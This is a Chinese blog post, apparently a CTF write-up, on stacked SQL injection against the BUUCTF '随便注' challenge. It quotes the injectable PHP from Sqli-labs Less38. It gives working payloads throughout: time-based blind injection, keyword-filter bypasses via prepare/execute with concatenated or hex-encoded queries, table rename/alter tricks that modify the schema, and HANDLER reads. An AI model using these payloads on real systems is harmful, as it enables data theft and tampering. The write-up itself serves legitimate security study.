Loading

SQL注入进阶之路-针对堆叠注入的研究

堆叠注入

题目:BUUCTF[强网杯 2019]随便注

0x01 原理

将多个语句一起进行查询,比如

select * from users;show databases; 

产生这种注入的原理也很简单,是由于PHP mysql_multi_query()这个函数支持多个SQL语句同时执行,只需要使用;分割即可。

0x02 危害

例如Sqli-labs的Less38,我们就可以使用堆叠注入绕过PDO

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
    echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
    @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}



$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
    
    
    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))
    {
            //printf("-----------------\n");
    }
     //while (mysqli_next_result($con1));
}
else 
    {
	echo '<font size="5" color= "#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</font>";  
    }
/* close connection */
mysqli_close($con1);

我们看到了熟悉的函数:

if (mysqli_multi_query($con1, $sql))

这意味着我们可以使用堆叠注入:

?id=1';select if(ord(substring(user(),1,1))=114,sleep(3),1);#

即可基于时间延迟进行注入

0x03 基于堆叠注入的花样百出的绕过与延伸学习

因为是堆叠注入,所以可以直接使用SQL语句

查看数据库:

1';show databases;#

选择一个数据库

1';use supersqli;#

展示表:

1';show tables;#

查询两个表的列名,这里需要注意的是:如果是纯数字,需要使用反引号包裹:

1';show columns from `1919810931114514`;#

一般情况下,我们就可以直接查询字段了,但是这里面有个问题,就是正常的查询被禁止了

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

这里介绍几种方式来绕过:

0x001:prepare绕过

我们将在这个内容下,对mysql预处理进行简要的介绍与分析,如果只需要payload的可以直接点击目录的"Payload"即可

简介

预处理或者说是可传参的语句用来高效的执行重复的语句

MYSQL官方将:prepareexecutedeallocate统称为PREPARE STATEMENT

三个基本语句:

prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;

payload

1';seT @a = CONCAT('se','lect * from `1919810931114514`;'); pRepare flag from @a;EXECUTE flag;#

set prepare 被过滤了,简单的大小写绕过

首先设定一个变量a 并使用mysql的concat函数拼接语句

prepare from 是预处理语句

execute用来执行由SQLPrepare创建的SQL语句

而值得注意的是,SET只能一次对一个变量赋值

也可以使用编码来绕过select

使用Hex对

select * from ` 1919810931114514 `

进行编码

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

而无论是payload1中的prepare flag 还是payload2中的execsql他们都是我们起的一个代称,下面的execute用来执行这个你起的代称。比如 EXECUTE flag execute execsql

0x002:rename && alter

观察到前台是有显示数据的,所以猜测这个数据很有可能是从words这个表中读取的,因此,我们可以把表名1919810931114514 改为word,并将数字名的表中的列名改为与words表里同样的列名就可以让前台顺利的读取flag

所以我们需要读取一下列名:

1';show columns from words;

好了,我们现在需要去修改列名flag 为 data 并添加一列 id

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

相关SQL语句

修改表名:

rename table a to b

添加表列

alter table test add column name varchar(10); 

修改表列

alter table test modify address char(10) 
alter table test change oldname newname  char(40)  

0x003 Handler

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

通过上述的介绍,得知handler也可以起到查询的功能,下面对Handler进行浅析

MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。

不使用索引

# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]

# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
   
# 关闭以打开的句柄
HANDLER tbl_name CLOSE

实例:

查询 users表中的数据:

使用select

使用handler

首先打开句柄:

handler users open;

接着查询数据:

handler users read first;

handler users read next;


关闭句柄

handler users close;

使用索引

# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]

# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]

# 关闭以打开的句柄
HANDLER tbl_name CLOSE

实例:

创建索引:

create index users_index on users(id);

users 中的 id 字段创建索引,命名为 users_index

打开句柄:

handler users open;

读数据:

handler users read users_index first;

控制阅读的数据:

first:第一行

next:下一行

prev:上一行

last:最后一行

当然,既然有索引,我们可以指定索引的值来读数据:

handler users read users_index=(3);

0x04:参考

https://blog.csdn.net/qq_43801002/article/details/105785215

https://blog.csdn.net/qq_43427482/article/details/109898934

https://blog.csdn.net/qq_45691294/article/details/107376284

https://blog.csdn.net/qq_44657899/article/details/103239145

https://tysec.top/?p=446

https://buuoj.cn

posted @ 2021-08-19 11:43  mi2ac1e  阅读(539)  评论(0编辑  收藏  举报